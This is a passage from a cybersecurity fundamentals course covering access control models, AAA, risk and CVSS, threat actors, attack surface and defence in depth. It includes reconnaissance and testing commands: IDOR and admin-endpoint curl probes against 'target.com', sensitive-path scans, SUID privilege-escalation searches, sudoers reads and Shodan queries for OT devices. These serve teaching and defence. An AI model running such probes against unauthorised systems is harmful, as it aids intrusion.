  No write down: Top Secret user cannot write to Unclassified (prevent leakage)

Check SELinux status:
  getenforce               # Enforcing / Permissive / Disabled
  sestatus                 # Detailed SELinux status
  ls -Z /etc/shadow        # See file's SELinux label
  ps -eZ | grep httpd      # See process's SELinux context

RBAC — Role-Based Access Control:

Permissions assigned to roles, users assigned to roles
User inherits permissions of their role(s)

Example:
  Role: "Network Admin" = permission to view/change network config
  Role: "Read-Only Auditor" = permission to view logs, no changes
  User: jsmith = assigned role "Network Admin"

Benefits:
  Scalable (manage roles, not individual user permissions)
  Consistent (all users with same role have same access)
  Auditable (clear what each role can do)

Weakness:
  Role explosion: too many roles becomes unmanageable
  Role creep: users accumulate roles over time beyond what's needed

RBAC in Active Directory:
  Security groups = roles
  DACL (Discretionary ACL) on objects = permissions per group

ABAC — Attribute-Based Access Control:

Access decisions based on attributes of: user, resource, environment, action

Example policy:
  "Allow access to Document X IF:
    user.department == 'Finance'
    AND user.clearance >= document.classification
    AND time.current_hour BETWEEN 8 AND 18
    AND user.location == 'corporate_network'"

More flexible than RBAC — can express complex, context-aware policies
Used in: AWS IAM, Azure RBAC, modern zero trust systems

PBAC — Policy-Based Access Control (modern):

Centralised policy engine evaluates access requests in real-time
Example: Open Policy Agent (OPA)

Decouples policy from code:
  Application asks OPA: "Can user X do action Y on resource Z?"
  OPA evaluates policies, returns: allow/deny + reason

Used in: Kubernetes admission control, API gateways, microservices

4.3 Broken Authorization — OWASP Top 10

Broken Access Control is the #1 OWASP vulnerability (2021, 2023)

Common Broken Authorisation Patterns:

IDOR (Insecure Direct Object Reference):
  URL: /api/user/12345/profile
  Attacker changes to: /api/user/12346/profile
  → Access to another user's data
  Defence: Check that authenticated user owns resource 12346

Privilege Escalation — Vertical:
  Regular user accesses admin function
  URL: /admin/delete_user?id=5
  No check that user is admin → any user can delete users

Privilege Escalation — Horizontal:
  User A accesses User B's data
  Same privilege level, different account

Missing Function-Level Access Control:
  Frontend hides admin menu from non-admins
  But /admin/users endpoint is not protected server-side
  Attacker discovers URL → full access

Forced Browsing:
  /reports/financial/2024/q4.pdf is protected
  /reports/financial/2023/q4.pdf is not
  Attacker traverses to find unprotected resources

# Testing authorisation controls:

# Check for IDOR manually:
# Identify user-owned resource ID in URL/response
# Authenticate as different user, attempt to access first user's resource
curl -H "Cookie: session=user2_session" \
    https://target.com/api/users/USER1_ID/data
# If returns user1's data: IDOR vulnerability

# Test for privilege escalation via HTTP method:
# Many apps check GET but not POST/PUT/DELETE
curl -X DELETE https://target.com/api/admin/users/5 \
    -H "Cookie: regular_user_session"
# If succeeds: missing authorisation check on DELETE method

# Test for parameter manipulation:
curl "https://target.com/api/invoice?user_id=YOUR_ID&invoice_id=INVOICE_ID"
# Change user_id to another user's ID
# If returns their invoice: IDOR

# Check for directory traversal (forced browsing):
for path in /admin /administrator /manager /api/admin /api/internal; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
    echo "$code: https://target.com$path"
done
# 200 on admin paths without admin login = authorisation failure

# Linux authorisation check:
sudo -l                             # What can current user sudo?
id                                  # Current user, groups, capabilities
find / -perm -4000 2>/dev/null     # SUID files (run as owner, not as self)
find / -perm -2000 2>/dev/null     # SGID files
# SUID on non-standard binaries = privilege escalation opportunity

Key Insight: Authentication proves identity; authorisation enforces what that identity can do. Broken access control (authorisation failure) is consistently the most common vulnerability class in web applications. The root cause is almost always the same: trusting client-supplied data (user IDs, role indicators) without server-side verification. Every access control check must happen on the server, every time, for every request.

5. Access Control — Enforcing Decisions

5.1 Access Control as the Enforcement Layer

Access control is the mechanism that takes authentication + authorisation decisions and enforces them. It is the "gate" between subjects (users, processes, systems) and objects (files, databases, APIs, network services).

Access Control Components:

Subject: Entity requesting access (user, process, service)
Object:  Resource being accessed (file, database, API, network)
Reference Monitor: Policy enforcement mechanism
Policy: Rules defining what subjects may do to objects

Reference Monitor Requirements:
  1. Always invoked (cannot be bypassed)
  2. Tamperproof (cannot be modified)
  3. Small enough to be verified correct (formally verifiable)

5.2 Access Control Lists (ACLs)

ACL: a list attached to an object defining which subjects have which permissions

File system ACL example (Linux extended ACL):
getfacl /var/data/sensitive.txt
# file: /var/data/sensitive.txt
# owner: root
# group: finance
user::rw-           # file owner: read, write
user:alice:rw-      # alice: read, write
user:bob:r--        # bob: read only
group::r--          # finance group: read
group:security:rwx  # security group: read, write, execute
mask::rwx           # maximum effective permissions
other::---          # everyone else: no access

# Set ACL:
setfacl -m u:alice:rw /var/data/sensitive.txt
setfacl -m g:security:rwx /var/data/sensitive.txt
setfacl -x u:bob /var/data/sensitive.txt         # Remove bob's entry

# Windows ACL (DACL):
# Get-Acl C:\Sensitive\file.txt | Format-List
# icacls C:\Sensitive\file.txt
# icacls C:\Sensitive\file.txt /grant alice:R

5.3 Network Access Control

NAC (Network Access Control): determines whether a device may connect to the network

Components:
  802.1X: port-based authentication
  RADIUS: AAA server that makes access decisions
  Supplicant: device software seeking access (Windows, macOS, Linux)
  Authenticator: network device enforcing decision (switch, AP)

802.1X Flow:
  Device plugs in → Switch port in unauthorised state
  Supplicant sends EAP identity
  Authenticator forwards to RADIUS
  RADIUS validates: credentials, device certificate, device health
  RADIUS returns: Access-Accept or Access-Reject
  Access-Accept: switch port moves to authorised state, VLAN assigned
  Access-Reject: device has no network access

Device health checks (NAC posture assessment):
  Is antivirus installed and up to date?
  Is OS patched to required level?
  Is disk encryption enabled?
  Is the device compliant with security policy?

If not compliant: quarantine VLAN (access to patching resources only)

# Access control audit commands:

# Linux filesystem permissions audit:
# Find files/dirs with dangerous permissions:
find / -type f -perm -o+w 2>/dev/null | head -20    # World-writable files
find / -type d -perm -o+w 2>/dev/null | head -20    # World-writable directories
find / -perm -4000 2>/dev/null                        # SUID files
find / -perm -2000 2>/dev/null                        # SGID files

# Check sudo configuration:
cat /etc/sudoers
sudo -l                              # Current user's sudo permissions
# Look for: NOPASSWD: ALL (allows full sudo without password)
# Look for: wildcard use in allowed commands

# Windows: check who has local admin rights:
net localgroup administrators
# Should be minimal: only IT admin accounts

# Check for excessive AD privileges:
# (requires BloodHound or similar)
# Find users with DCSync rights:
# Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteOwner|WriteDacl"}

6. AAA Model — Authentication, Authorization, Accounting

6.1 The Three As

AAA (Authentication, Authorization, Accounting) is the security framework for controlling access to network resources and tracking that access.

Authentication: WHO are you? (verify identity)
Authorization:  WHAT can you do? (enforce policy)
Accounting:     WHAT DID you do? (record activity)

The three are inseparable for complete access control:
  Without Accounting: authorised access leaves no audit trail
  Without Authorization: all authenticated users have equal access
  Without Authentication: accounting cannot attribute actions to individuals

6.2 RADIUS — The AAA Protocol

RADIUS (Remote Authentication Dial-In User Service, RFC 2865) is the most widely deployed AAA protocol.

RADIUS Architecture:

Client (NAS):    Network Access Server — the device enforcing access
                 (VPN gateway, wireless AP, switch port, firewall)
RADIUS Server:   Policy engine — makes access decisions
User Directory:  Backend store (AD/LDAP, local database)

Protocol:
  Client → RADIUS Server: Access-Request (UDP 1812)
    Contains: username, hashed password (MD5 challenge-response), NAS info

  RADIUS Server → Client: Access-Accept, Access-Reject, or Access-Challenge

  Access-Accept may include attributes:
    Session-Timeout: how long the session may last
    Idle-Timeout: timeout if no activity
    Class: VLAN assignment
    Filter-Id: ACL to apply to the session

RADIUS Weakness:
  Password encrypted with MD5(PAP) — weak
  Accounting over UDP — can be spoofed

RADIUS/TLS (RadSec): RADIUS over TLS — addresses cleartext vulnerability

6.3 Accounting — The Audit Trail

Accounting records what was accessed, when, by whom, for how long

Typical accounting record:
  Timestamp:     2024-05-29 10:15:32 UTC
  User:          jsmith@company.com
  Client IP:     192.168.1.5
  NAS-IP:        10.0.0.1 (the VPN gateway or switch)
  Action:        Authenticated successfully
  Session-Time:  3600 seconds
  Bytes-In:      15,234,567
  Bytes-Out:     892,345
  Termination:   User-Request

SIEM Integration:
  RADIUS accounting → SIEM
  Correlate: login at unusual time, login from unusual location,
             excessive data transfer, concurrent sessions from different IPs

Alert rules:
  User authenticated from 2 different countries within 2 hours (impossible travel)
  Data transfer > 1GB in single session (possible exfiltration)
  Failed authentication followed by success from different IP (credential spray → success)
  Authentication outside business hours for non-privileged user

# AAA implementation examples:

# FreeRADIUS server (Linux):
sudo apt install freeradius
# Config: /etc/freeradius/3.0/users
# Test user: echo "testuser Cleartext-Password := 'testpassword'" >> /etc/freeradius/3.0/users
sudo systemctl start freeradius
radtest testuser testpassword localhost 0 testing123  # Test auth

# Verify RADIUS authentication from network device:
radtest username password radius_server_ip 0 shared_secret
# Expected: Received Access-Accept (success)

# Analyse RADIUS accounting logs:
cat /var/log/freeradius/radacct/*/detail | \
    grep -A10 "Acct-Status-Type = Start" | \
    grep "User-Name\|Framed-IP\|Acct-Session-Time" | head -30

# Check sudo accounting (Linux):
# Enable sudo logging:
# /etc/sudoers: Defaults logfile="/var/log/sudo.log"
cat /var/log/sudo.log | grep "COMMAND"
# Shows: who ran what command with sudo, when, from where

# Windows accounting via Security event log:
# Event 4624: Successful logon
# Event 4625: Failed logon
# Event 4647: User-initiated logoff
# Event 4648: Logon with explicit credentials
# Event 4662: Object access
# Event 4688: Process creation (with command line if enabled)

AAA in OT/ICS:

NERC CIP Requirements (North American power grid):
  CIP-004: Personnel training and access management
  CIP-007: Systems security management (authentication controls)

  Specifically requires:
  - Individual user accounts (no shared accounts for privileged access)
  - Password policies
  - Access logging and review

IEC 62443 (industrial cybersecurity standard):
  Security Level 2 (default target): Requires authentication for all access
  Security Level 3 (high): Requires MFA for privileged access
  Accounting: All access to BES (Bulk Electric System) must be logged

Common OT failure:
  Shared "operator" account → no individual accountability
  If something goes wrong (deliberate or accidental), cannot attribute
  Insider threat: no way to know who made changes

Solution: even if field devices cannot authenticate individually,
  require authentication at the boundary (jump server, HMI login)
  and log all sessions with session recording

Key Insight: Accounting is the pillar most often neglected — authentication and authorisation receive attention, logging is treated as optional. This is backwards: without accounting, you cannot detect breaches, cannot investigate incidents, cannot prove compliance, and cannot learn from security events. Comprehensive, tamper-resistant logging is not optional — it is the difference between a recoverable incident and an unexplained mystery.

7. Risk, Threat, Vulnerability, Attack — Precise Definitions

7.1 Why Precise Terminology Matters

These four terms are routinely confused and misused — in vendor marketing, in management meetings, and sometimes in security documentation. Using them incorrectly leads to misallocated resources, wrong priorities, and misunderstood risk posture.

Definitions:

VULNERABILITY: A weakness in a system, process, or control
  Examples:
  - Unpatched software (CVE-2017-0144 / EternalBlue)
  - Default password on router
  - Missing input validation in web application
  - Unlocked server room door
  - Employee who will click phishing links

THREAT: A potential cause of harm — an actor, event, or circumstance
  Examples:
  - Ransomware group targeting healthcare
  - Disgruntled employee with access
  - Nation-state APT with persistent presence
  - Hurricane disrupting data centre
  - Power outage

RISK: The probability that a threat will exploit a vulnerability, causing impact
  Risk = f(Threat, Vulnerability, Impact)

  More precisely:
  Risk = Threat Likelihood × Vulnerability Exploitability × Impact Severity

  If any factor is zero, risk is zero:
  No threat: vulnerability exists but nobody cares → low risk
  No vulnerability: threat exists but system has no weaknesses → low risk
  No impact: system compromised but contains nothing of value → low risk

ATTACK: A threat actor actually exploiting a vulnerability
  An attack is a threat becoming real
  Not all vulnerabilities are attacked
  Not all threats execute attacks

7.2 The Risk Formula

Qualitative Risk Assessment:

Likelihood      × Impact       = Risk Level
High (3)        × High (3)     = Critical (9)
High (3)        × Medium (2)   = High (6)
Medium (2)      × High (3)     = High (6)
Medium (2)      × Medium (2)   = Medium (4)
Low (1)         × High (3)     = Medium (3)
Low (1)         × Low (1)      = Low (1)

Quantitative Risk Assessment (FAIR methodology):
  Asset Value (AV): monetary value of what's at risk
  Threat Event Frequency (TEF): how often the threat occurs
  Vulnerability (V): probability of exploitation if threat occurs
  Loss Magnitude (LM): impact if successful

  Annualised Loss Expectancy (ALE) = TEF × V × LM

Example:
  Database breach risk:
  TEF = 2 per year (two significant attacks expected)
  V = 0.3 (30% chance of success if attacked)
  LM = $500,000 (cost of breach: notification, legal, remediation)
  ALE = 2 × 0.3 × $500,000 = $300,000/year

  Spend up to $300,000/year on controls that prevent the breach
  Spending $1,000,000/year to prevent a $300,000 risk = poor risk management

7.3 Vulnerability Scoring — CVSS

CVSS (Common Vulnerability Scoring System) quantifies vulnerability severity

CVSS v3.1 Base Metrics:

Attack Vector (AV):
  Network (N):    Exploitable remotely (worst)
  Adjacent (A):   Must be on same network
  Local (L):      Must have local access
  Physical (P):   Requires physical access (least severe for remote attack)

Attack Complexity (AC):
  Low (L):        No special conditions needed
  High (H):       Specific conditions required (race condition, non-default config)

Privileges Required (PR):
  None (N):       No authentication needed (most severe)
  Low (L):        Regular user
  High (H):       Admin/root

User Interaction (UI):
  None (N):       No user action needed
  Required (R):   Victim must take action

Scope (S):
  Unchanged (U):  Impact contained to vulnerable component
  Changed (C):    Impact extends beyond vulnerable component

Confidentiality / Integrity / Availability Impact:
  None (N) / Low (L) / High (H)

CVSS Score Ranges:
  0.0:     None
  0.1-3.9: Low
  4.0-6.9: Medium
  7.0-8.9: High
  9.0-10.0: Critical

Examples:
  EternalBlue (MS17-010): CVSS 9.8 (Critical) — Network, Low complexity, No auth
  Log4Shell (CVE-2021-44228): CVSS 10.0 (Critical) — Network, Low, None auth, Changed scope
  Local privilege escalation typical: CVSS 7.8 (High) — Local access required

# Vulnerability management workflow:

# Check for CVEs in installed packages (Linux):
# Debian/Ubuntu:
sudo apt list --installed 2>/dev/null | grep -oE "^[^/]+" | \
    xargs dpkg -s 2>/dev/null | grep "Version\|Package" | \
    paste - - | awk '{print $2, $4}'
# Then cross-reference against CVE databases

# Trivy (container/system vulnerability scanner):
trivy image nginx:latest             # Scan container image
trivy fs /                           # Scan filesystem
trivy --severity HIGH,CRITICAL fs /  # Only high/critical

# OpenVAS / GVM (vulnerability scanner):
gvm-cli socket --xml "<get_tasks/>"  # List scheduled scans

# Check specific CVE status:
# CVE database API:
curl "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228" | \
    python3 -m json.tool | grep -A5 "cvssMetricV3"

# Risk prioritisation script:
python3 << 'EOF'
vulnerabilities = [
    {"cve": "CVE-2021-44228", "cvss": 10.0, "exploited": True, "systems": 50},
    {"cve": "CVE-2022-30190", "cvss": 7.8,  "exploited": True, "systems": 200},
    {"cve": "CVE-2020-1472",  "cvss": 10.0, "exploited": True, "systems": 1},
    {"cve": "CVE-2023-12345", "cvss": 5.0,  "exploited": False, "systems": 100},
]

# Risk score = CVSS × (2 if actively exploited) × log(systems affected)
import math
for v in vulnerabilities:
    score = v["cvss"] * (2 if v["exploited"] else 1) * math.log(v["systems"] + 1)
    print(f"{v['cve']}: CVSS={v['cvss']}, Risk Score={score:.1f}")

# Sort by risk score to prioritise patching
vulnerabilities.sort(key=lambda x: x["cvss"] * (2 if x["exploited"] else 1) * math.log(x["systems"] + 1), reverse=True)
print("\nPatching Priority:")
for i, v in enumerate(vulnerabilities, 1):
    print(f"  {i}. {v['cve']} (CVSS {v['cvss']}, {'ACTIVELY EXPLOITED' if v['exploited'] else 'not exploited'})")
EOF

Key Insight: Risk is the product of threat × vulnerability × impact — reducing any factor reduces risk. The key insight for resource allocation: patching the highest-CVSS vulnerability affecting only one system may be lower priority than patching a medium-CVSS vulnerability affecting 500 critical systems that is being actively exploited. Risk prioritisation, not CVSS score alone, should drive remediation order.

8. Threat Actor Types

8.1 Why Threat Actor Classification Matters

Different threat actors have different capabilities, motivations, resources, and targets. Knowing who is most likely to target you changes how you defend — against a ransomware group, patch management and backups are critical; against a nation-state APT, focus shifts to detection and containment since prevention alone is insufficient.

Threat Actor Taxonomy:

┌──────────────────┬──────────────┬───────────────┬──────────────────────────┐
│ Actor Type       │ Motivation   │ Capability    │ Primary Targets          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Nation-State APT │ Espionage,   │ Highest       │ Government, Defence,     │
│                  │ Sabotage,    │               │ Critical Infrastructure,  │
│                  │ Disruption   │               │ Technology companies     │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Cybercriminals   │ Financial    │ High          │ Any profitable target:   │
│ (organised)      │ gain         │               │ Finance, Healthcare,     │
│                  │              │               │ Retail, all sectors      │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Ransomware       │ Extortion    │ High          │ Any organisation that    │
│ Groups           │              │               │ cannot afford downtime   │
│                  │              │               │ (hospitals, utilities)   │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Insider Threats  │ Varies:      │ Variable      │ Own employer             │
│                  │ Financial,   │ (privileged   │                          │
│                  │ Revenge,     │ access)       │                          │
│                  │ Ideology     │               │                          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Hacktivists      │ Political,   │ Medium        │ Organisations they       │
│                  │ Social       │               │ disagree with ideologically│
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Script Kiddies   │ Curiosity,   │ Low           │ Opportunistic, easy      │
│                  │ Reputation   │               │ targets, not targeted    │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Competitors      │ Corporate    │ Variable      │ Industry competitors     │
│                  │ espionage    │               │                          │
└──────────────────┴──────────────┴───────────────┴──────────────────────────┘

8.2 Nation-State APT Groups

APT (Advanced Persistent Threat): sophisticated, long-term intrusion campaign

Key characteristics:
  Advanced: Custom tools, zero-days, sophisticated evasion
  Persistent: Maintain access for months or years
  Threat: Driven by specific geopolitical objectives

Documented APT Groups and Their Targeting:

APT29 (Cozy Bear) — Russia (SVR):
  Victims: SolarWinds (2020), DNC (2016), COVID-19 vaccine research
  TTPs: Supply chain compromise, password spraying, phishing, living-off-the-land
  Attribution: US/UK government official attributions

APT28 (Fancy Bear) — Russia (GRU):
  Victims: DNC (2016), World Anti-Doping Agency, Ukrainian infrastructure
  TTPs: Spear phishing, credential harvesting, destructive malware (NotPetya supply chain)

Sandworm — Russia (GRU Unit 74455):
  Victims: Ukrainian power grid (2015, 2016), NotPetya (2017), Viasat satellite (2022)
  TTPs: Destructive malware (BlackEnergy, Industroyer, Cyclops Blink)
  OT Focus: Most advanced OT attack capability of any known threat actor

APT41 — China (dual espionage + financial crime):
  Victims: Healthcare, telecom, technology companies globally
  TTPs: Supply chain attacks, exploitation of public-facing apps, Cobalt Strike

Volt Typhoon — China (critical infrastructure pre-positioning):
  Victims: US water utilities, energy, transportation, communications
  TTPs: Living-off-the-land (LOLBins), no malware, use existing tools
  Goal: Pre-position for potential conflict, not active espionage
  2024: FBI and CISA disclosed Volt Typhoon compromised multiple critical infrastructure

Lazarus Group — North Korea (DPRK):
  Victims: Banks (SWIFT fraud), cryptocurrency exchanges, Sony Pictures
  TTPs: Spear phishing, supply chain attacks, custom malware
  Motivation: Financial (generates revenue for DPRK regime sanctions evasion)

8.3 Ransomware Groups

Evolution of Ransomware 2013-Present:

2013: CryptoLocker — first major ransomware, Bitcoin payments
2017: WannaCry (EternalBlue) — 200,000 victims, wormable
2017: NotPetya — disguised as ransomware, actually pure destructor
2019-present: Double extortion — encrypt AND steal data, threaten to publish
2020-present: Triple extortion — add DDoS as third pressure
2020-present: RaaS (Ransomware-as-a-Service) — operators rent to affiliates

Major active groups (as of 2024):
  LockBit 3.0: Most active RaaS, $91M+ collected from US victims alone
  BlackCat/ALPHV: Sophisticated, Rust-based ransomware, healthcare targets
  Cl0p: MOVEit (2023) — exploited zero-day to breach 2,000+ organisations
  Play: Used in attacks on Oakland CA (2023), publishing all data exfiltrated

Anatomy of a ransomware attack:
  Day 0:    Initial access (phishing, exposed RDP, VPN vulnerability)
  Day 1-7:  Lateral movement, privilege escalation
  Day 8-30: Data exfiltration (double extortion leverage)
  D-Day:    Ransomware deployment across all systems simultaneously

Why OT is increasingly targeted:
  Production downtime = immediate financial pressure
  Safety concerns add urgency to payment
  OT systems harder to restore from backup (specialist configuration)
  Example: Oldsmar Water Treatment (2021) — operator observed cursor moving
           Changed NaOH level from 111 ppm to 11,100 ppm (not ransomware
           but demonstrated OT attack surface)

8.4 Insider Threats

Insider threat categories:

Malicious Insider:
  Motivated: Financial gain (selling data/access), revenge, ideology
  Example: Capital One data breach (2019) — Paige Thompson, former AWS employee,
           exploited misconfigured WAF to steal 100M customer records
  Example: Edward Snowden — NSA contractor, exfiltrated classified documents

Negligent Insider (most common):
  No malicious intent but causes breaches through error or poor security practice
  Example: Clicking phishing links, using weak passwords, misconfiguring cloud storage
  Example: 2019 First American Financial — developer left 885 million records
           publicly accessible via URL manipulation

Compromised Insider:
  Legitimate employee whose credentials or account have been stolen
  The insider is a victim; their access enables the external attacker
  Example: Most APT campaigns involve compromised employee credentials at some point

Detection:
  User Entity and Behaviour Analytics (UEBA)
  DLP (Data Loss Prevention) monitoring
  Privileged Access Management (PAM) with session recording
  Anomaly detection: access at unusual hours, unusual data volumes, unusual destinations

# Threat intelligence and monitoring:

# Check if your IPs appear in threat intelligence feeds:
curl "https://www.abuseipdb.com/api/v2/check?ipAddress=8.8.8.8&maxAgeInDays=90" \
    -H "Key: YOUR_API_KEY" -H "Accept: application/json"

# Query VirusTotal for indicator:
curl "https://www.virustotal.com/api/v3/ip_addresses/8.8.8.8" \
    -H "x-apikey: YOUR_API_KEY" | python3 -m json.tool | grep "malicious"

# Check if domain is in threat intel:
curl "https://www.virustotal.com/api/v3/domains/suspicious.com" \
    -H "x-apikey: YOUR_API_KEY"

# MITRE ATT&CK correlation:
# Navigate to attack.mitre.org
# Each threat actor (APT group) has documented TTPs
# Map your controls against their known techniques

# Monitor for credential exposure (your organisation's credentials in breaches):
# HaveIBeenPwned API:
curl "https://haveibeenpwned.com/api/v3/breachedaccount/user@company.com" \
    -H "hibp-api-key: YOUR_KEY"

Key Insight: Threat intelligence changes your security strategy from reactive ("respond to what happened") to proactive ("prepare for what this specific threat actor will likely do next"). Nation-state APTs use living-off-the-land techniques — native OS tools — specifically to evade signature-based detection. Against them, behaviour-based detection and comprehensive logging are more effective than AV/EDR signatures alone.

9. Attack Surface

9.1 Definition and Components

Attack surface is the sum of all points where an attacker could attempt to enter, extract data from, or cause harm to a system or organisation.

Attack Surface Components:

Digital Attack Surface:
  Network: All exposed IP addresses, ports, protocols
  Application: Every input field, API endpoint, web page
  Credentials: All accounts that can authenticate to systems
  Code: Software vulnerabilities in every line of code
  Cloud: Misconfigured buckets, exposed APIs, IAM misconfigurations
  Email: Phishing entry point

Physical Attack Surface:
  USB ports on devices
  Physical server access
  Printed documents
  Hardware supply chain

Human Attack Surface (Social Engineering):
  Employees who can be phished, vished, or manipulated
  Help desk procedures that can be socially engineered
  Third-party vendors with access to your systems

Supply Chain Attack Surface:
  Software dependencies (npm packages, PyPI, NuGet)
  Build pipeline (SolarWinds model)
  Hardware manufacturers
  Managed service providers (MSPs) with administrative access

9.2 Attack Surface Reduction

Principles of Attack Surface Reduction:

1. Eliminate what's not needed:
   Disable unused services and ports
   Remove unused accounts
   Remove unused software

2. Minimise exposure:
   Don't expose internal services externally
   Use VPN/private endpoints instead of public exposure

3. Harden what remains:
   Patch all remaining components
   Configure securely (disable defaults, apply hardening)

4. Monitor what you cannot eliminate:
   If you must expose something: monitor it intensively
   Log all access, alert on anomalies

# Attack surface discovery and reduction:

# Map your external attack surface:
# What IPs/domains do you own?
# What services are exposed to internet?

# External port scan of your own infrastructure:
sudo nmap -sS -sV -p- --open YOUR_PUBLIC_IP -oA external_scan

# Find exposed admin interfaces:
for port in 22 23 80 443 3389 5900 8080 8443 8888 9090; do
    nc -zw 2 YOUR_PUBLIC_IP $port 2>/dev/null && \
        echo "Port $port: EXPOSED to internet"
done

# Identify open cloud storage (if using AWS):
aws s3api list-buckets --query 'Buckets[*].Name' --output text | \
    xargs -I{} aws s3api get-bucket-acl --bucket {}
# Look for "AllUsers" or "AuthenticatedUsers" = public bucket

# Find shadow IT / unknown external assets:
# Certificate transparency logs reveal all subdomains:
curl "https://crt.sh/?q=%25.yourdomain.com&output=json" | \
    python3 -c "import json,sys; [print(c['name_value']) for c in json.load(sys.stdin)]" | \
    sort -u

# Subdomain enumeration:
subfinder -d yourdomain.com -silent | sort -u | tee /tmp/subdomains.txt
# Each subdomain = potential attack surface asset

# Check for exposed sensitive paths:
for path in /.git /wp-admin /.env /phpinfo.php /server-status /actuator/health; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://yourdomain.com$path")
    [ "$code" != "404" ] && echo "$code: https://yourdomain.com$path"
done

# Reduce local attack surface:
sudo systemctl list-unit-files --type=service | grep enabled  # Running services
sudo systemctl disable service_not_needed                      # Disable unnecessary
sudo ufw status                                                # Firewall status
sudo ufw enable                                                # Enable firewall
sudo ufw default deny incoming                                 # Default deny
sudo ufw allow 22/tcp                                          # Allow only needed

OT Attack Surface:

OT attack surface has unique characteristics:

External exposure (should be minimal but often isn't):
  SCADA systems inadvertently connected to internet (Shodan shows thousands)
  Remote access VPN portals (vulnerable to VPN CVEs)
  Historian servers with dual-homed connections (IT + OT)

Internal attack surface:
  Engineering workstations (Windows, often unpatched, running SCADA software)
  HMI systems (Windows XP/7 — often cannot be upgraded, vendor lock-in)
  All Modbus/DNP3 devices accessible from control network (no auth)
  USB ports on PLCs and workstations (malware entry via USB)

Third-party attack surface:
  Vendor remote access (often direct into control network)
  VPN accounts for maintenance that persist after contract ends
  PLC programming software downloaded from vendor sites (supply chain)

Search exposed OT on Shodan:
  shodan search "port:502" (Modbus)
  shodan search "port:102" (S7comm — Siemens PLCs)
  shodan search "port:20000" (DNP3)
  shodan search "BACnet" port:47808

Attack surface reduction for OT:
  Network segmentation (Purdue Model zones)
  Eliminate all internet-facing OT components
  Remove all vendor remote access when not actively needed
  Disable USB ports on OT systems (Group Policy, physical blockers)
  Patch windows systems even if SCADA vendor hasn't validated
  (with proper change management and testing)

Key Insight: You cannot secure what you don't know exists. The first step of attack surface management is discovering your complete surface — including shadow IT, forgotten assets, abandoned cloud resources, and third-party connections. Attackers discover your assets with the same tools (Shodan, certificate transparency, subdomain enumeration) — you should know your attack surface better than they do.

10. Defence in Depth

10.1 The Concept

Defence in Depth (DiD) is the principle of using multiple, overlapping security controls across different layers, so that failure of any single control does not result in complete compromise.

Defence in Depth Model:

         Physical Security
              │
        Network Security
              │
         Host Security
              │
       Application Security
              │
         Data Security
              │
         User Security

Each layer:
  Provides controls that the layers above and below cannot
  Slows attacker progress (forces lateral movement, privilege escalation)
  Creates detection opportunities (attacker behaviour visible at each layer)
  Limits blast radius if one layer fails

10.2 Layers in Practice

Physical:
  Guards, access cards, cameras, biometrics
  Locked server rooms, equipment cages
  Cable locks, device tracking
  Attack stopped: prevents physical access to hardware

Network:
  Firewalls, IDS/IPS, network segmentation, DMZ
  VPN for remote access, NAC for device admission
  VLAN isolation, WAF for web applications
  Attack stopped: prevents lateral movement, limits blast radius

Host:
  OS hardening (CIS benchmarks, STIG)
  Antivirus/EDR, host-based firewall
  Patch management, FIM (file integrity monitoring)
  Disable unnecessary services
  Attack stopped: prevents malware execution, detects compromise

Application:
  Secure coding practices, SAST/DAST scanning
  Input validation, output encoding
  Authentication (MFA), session management
  WAF, API gateway
  Attack stopped: prevents SQL injection, XSS, authentication bypass

Data:
  Encryption at rest (AES-256), encryption in transit (TLS 1.3)
  DLP, data classification
  Backup and recovery
  Database activity monitoring
  Attack stopped: limits impact of breach, enables recovery

User:
  Security awareness training
  Phishing simulation
  Clear policies and procedures
  Background checks for privileged roles
  Attack stopped: reduces social engineering success rate

10.3 Castle Analogy and Its Limits

Traditional security: Castle model
  Strong perimeter (moat, walls) = firewall
  "If they're inside, they're trusted"

  Problem: Once perimeter is breached, attacker has full castle

DiD improvement:
  Multiple walls (network segmentation)
  Guards inside (EDR, monitoring)
  Locked rooms (file permissions, encryption)
  Audit trails (comprehensive logging)

But even DiD has limits:
  All layers can be defeated in theory
  Complexity of DiD creates management overhead
  Layered controls must be monitored, not just deployed

Modern improvement: Zero Trust (see Section 13)
  Don't trust based on location
  Verify every access, every time
  Assume breach — hunt for threats already inside

# Verify defence-in-depth controls are in place:

# Network layer check:
sudo iptables -L -n -v | grep -c "ACCEPT\|DROP\|REJECT"  # Active firewall rules
sudo netstat -tulnp | grep "0.0.0.0:" | grep -v "127.0.0.1"  # Internet-exposed services

# Host layer check:
which auditd && sudo systemctl status auditd               # Audit daemon
which aide && aide --check 2>/dev/null | head -5           # File integrity
sudo systemctl status fail2ban                              # Brute force protection
sudo ufw status | head -5                                   # Host firewall

# Application layer check:
curl -sI https://target.com | grep -iE "x-frame|content-security|hsts|x-content-type"
# Missing headers = missing application-layer controls

# Data layer check:
sudo cryptsetup status /dev/sda 2>/dev/null | grep "type"   # Disk encryption
ls -la /etc/ssl/                                             # Certificate management

# Monitoring check (is there visibility at each layer?):
sudo systemctl status rsyslog                               # Logging running?
cat /etc/rsyslog.d/*.conf | grep "@@"                      # Remote syslog configured?

11. Least Privilege Principle

11.1 Definition

Least Privilege: Every user, process, and system should have only the minimum permissions required to perform their specific function — nothing more.

Principle in practice:

Not least privilege:
  Database administrator account used for everything:
    Running DB server → SYSTEM / root
    Backing up databases → full admin
    Reading application data → full admin

Least privilege applied:
  DB server process: runs as 'mysql' user (no shell, no login, only DB access)
  Backup account: read-only on backup directories only
  Application service account: SELECT on specific tables only
  DBA account: full admin, but only used from management workstation, 
               with MFA, and all actions logged

11.2 Why Least Privilege Matters — Real Impact

WannaCry (2017) — Least Privilege Failure:
  Many infected machines ran as local Administrator
  Ransomware inherited full admin rights
  Encrypted ALL accessible files including network shares
  If processes ran as limited users: ransomware encrypts only that user's files
  Least privilege = contained blast radius

Pass-the-Hash / Mimikatz — Least Privilege Failure:
  If every machine has the same local administrator password:
